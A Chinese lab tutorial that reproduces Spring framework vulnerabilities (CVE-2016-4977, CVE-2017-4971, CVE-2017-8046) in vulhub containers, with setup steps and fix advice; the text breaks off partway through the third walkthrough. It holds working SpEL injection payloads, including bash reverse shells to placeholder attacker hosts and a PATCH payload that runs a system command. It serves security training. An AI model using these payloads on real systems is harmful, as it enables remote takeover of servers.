vulhub之Spring篇
目录
vulhub拉取镜像失败
Spring框架特征
Spring boot框架
Spring Security OAuth2 远程命令执行漏洞复现(CVE-2016-4977)
漏洞介绍
环境搭建
漏洞复现
环境移除
漏洞修复
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
漏洞简介
环境搭建
漏洞复现
漏洞修复
Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
漏洞简介
环境搭建
漏洞复现
漏洞修复
Spring Messaging 远程代码执行漏洞分析(CVE-2018-1270)
漏洞简介
环境搭建
漏洞复现
漏洞修复
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
漏洞简介
环境搭建
漏洞复现
漏洞修复
Spring Cloud Gateway Actuator API SPEL 代码注入 (CVE-2022-22947)
漏洞简介
环境搭建
漏洞复现
漏洞修复
Spring Cloud Function SpEL 代码注入 (CVE-2022-22963)
漏洞简介
环境搭建
漏洞复现
漏洞修复
Spring Framework RCE 远程代码执行漏洞 (CVE-2022-22965)
漏洞简介
环境搭建
漏洞复现
漏洞修复
漏洞简介
环境搭建
漏洞复现
漏洞修复
vulhub拉取镜像失败
ERROR: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
配置加速地址
vim /etc/docker/daemon.json
添加以下内容
{
"registry-mirrors": [
"https://docker.211678.top",
"https://docker.1panel.live",
"https://hub.rat.dev",
"https://docker.m.daocloud.io",
"https://do.nark.eu.org",
"https://dockerpull.com",
"https://dockerproxy.cn",
"https://docker.awsl9527.cn"
]}
重启docker,成功解决
systemctl daemon-reload
systemctl restart docker
Spring框架特征
web应用程序的ico小图标,是一个小绿叶,还有404报错
Spring boot 资产测绘
https://github.com/AabyssZG/SpringBoot-Scan
Spring boot框架
##Spring Boot框架介绍Spring
框架功能很强大,但是就算是一个很简单的项目,我们也要配置很多东西。因此就有了Spring Boot
框架,它的作用很简单,就是帮我们自动配置,其设计目的是用来简化新Spring
应用的初始搭建以及开发过程。Spring Boot
框架的核心就是自动配置,只要存在相应的jar包,Spring
就帮我们自动配置。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。如果默认配置不能满足需求,我们还可以替换掉自动配置类,使用我们自己的配置。另外,Spring Boot
还集成了嵌入式的Web服务器,系统监控等很多有用的功能,让我们快速构建企业及应用程序。
##Actuator中间件工具介绍Actuator
是Spring Boot
提供的服务监控和管理工具。当Spring Boot
应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些敏感信息泄露。
Spring Security OAuth2 远程命令执行漏洞复现(CVE-2016-4977)
漏洞介绍
漏洞原理
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。Spring的一个错误页面存在参数获取未进行过滤,导致可以直接对服务器执行系统权限
代码层:
利用条件是使用了springboot的默认错误页(Whitelabel Error Page)
spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞,漏洞的关键点在于这个对表达式的递归处理使我们可控的部分也会被当作表达式执行。
可通过 Springs 表达式语言 (SpEL) 构造恶意参数来执行命令。
漏洞版本
2.0.0 to 2.0.9
1.0.0 to 1.0.5
环境搭建
```Bash #进入一个靶场环境目录
┌──(root㉿kali2022)-[~/…/vulhub/vulhub-master/weblogic/CVE-2018-2628]
└─# pwd
/root/桌面/vulhub/vulhub-master/weblogic/CVE-2018-2628
┌──(root㉿kali2022)-[~/…/vulhub/vulhub-master/weblogic/CVE-2018-2628]
└─# docker-compose up -d #运行此靶场
docker-compose up -d #查看启动环境
docker-compose ps -a ```
漏洞复现
访问http://your-ip:8080/oauth/authorize
输入admin/admin认证登录
请求http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test,SpEL 表达式${233*233}已成功执行并返回结果。
使用dnslog和java.lang.Runtime.exec() Payload Workarounds
先用dnslog.cn获取一个dns地址,再把命令和dnslog结合在一起
在用java.lang.Runtime.exec() Payload Workarounds进行base64编码,
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
使用vulhub中自带的poc.py生成一个exp:
利用这个spel表达式
来进行命令执行,执行后,spring就是这个样子。
在dnslog上Refresh Record
反弹shell
bash -i >& /dev/tcp/your-ip/1234 0>&1
接受shell的机器监听1234端口,用上面的编码网站,将反弹shell的命令进行编码
然后执行poc.py生成exp
进入容器内容是一样的
环境移除
为了减小内存,同时在测试结束后,请及时关闭并移除环境,避免被他人恶意利用。
docker-compose down
上述命令会执行如下几个动作:
- 关闭正在运行的容器
- 删除所有相关容器
- 移除NAT(docker-compose在运行的时候会创建一个NAT网段)
漏洞修复
- 使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用
Whitelabel
这个视图。 - 使用2.0.x版本的用户升级到2.0.10以及更高的版本
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
漏洞简介
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
漏洞版本
Spring WebFlow 2.4.0 - 2.4.4
绿盟科技威胁通告注
官方停止支持的更早的版本也受影响。
不受影响的版本
- Spring Web Flow 2.4.5
环境搭建
漏洞复现
环境启动后访问http://your-ip:8080/,点击登录,进入登录模块
会出现很多个默认账号与密码,我们随意挑选一个进行登录操作:
然后访问id为1的酒店http://your-ip:8080/hotels/1
,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):
随意输入一些合法的内容后,我们点击Proceed然后会跳转到Confirm页面:
再点击确认“Confirm”并抓包:
POST内容增加如下,一定注意这个是有csrf的token的,所以我们重放是没用的,只能在forward的时候改,改完转发,注意中间的&符号需要url编码成%26
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/10086+0>%261")).start()=vulhub
放包后即可获取到shell:成功getshell。
环境移除
漏洞修复
官方已经发布了新版本,请受影响的2.4.X用户及时更新升级至最新的2.4.5版本来防护该漏洞。官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为。
Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
漏洞简介
Spring Data Rest框架的概念
Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。
漏洞原理:Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码.
漏洞影响版本
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
环境搭建
漏洞复现
打开环境后可以看到这个页面
漏洞验证之前,我们需要将要执行的命令进行Ascii转译,不然会执行不成功的.
将 touch /tmp/success 进行ASCII-字符 转换
中间加逗号隔离,将其拼接到 payload 里面,最后得到
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
验证漏洞
(1)访问 http://靶场ip:8080/customers/1 进行抓包
(2)转包之后将GET修改为PATCH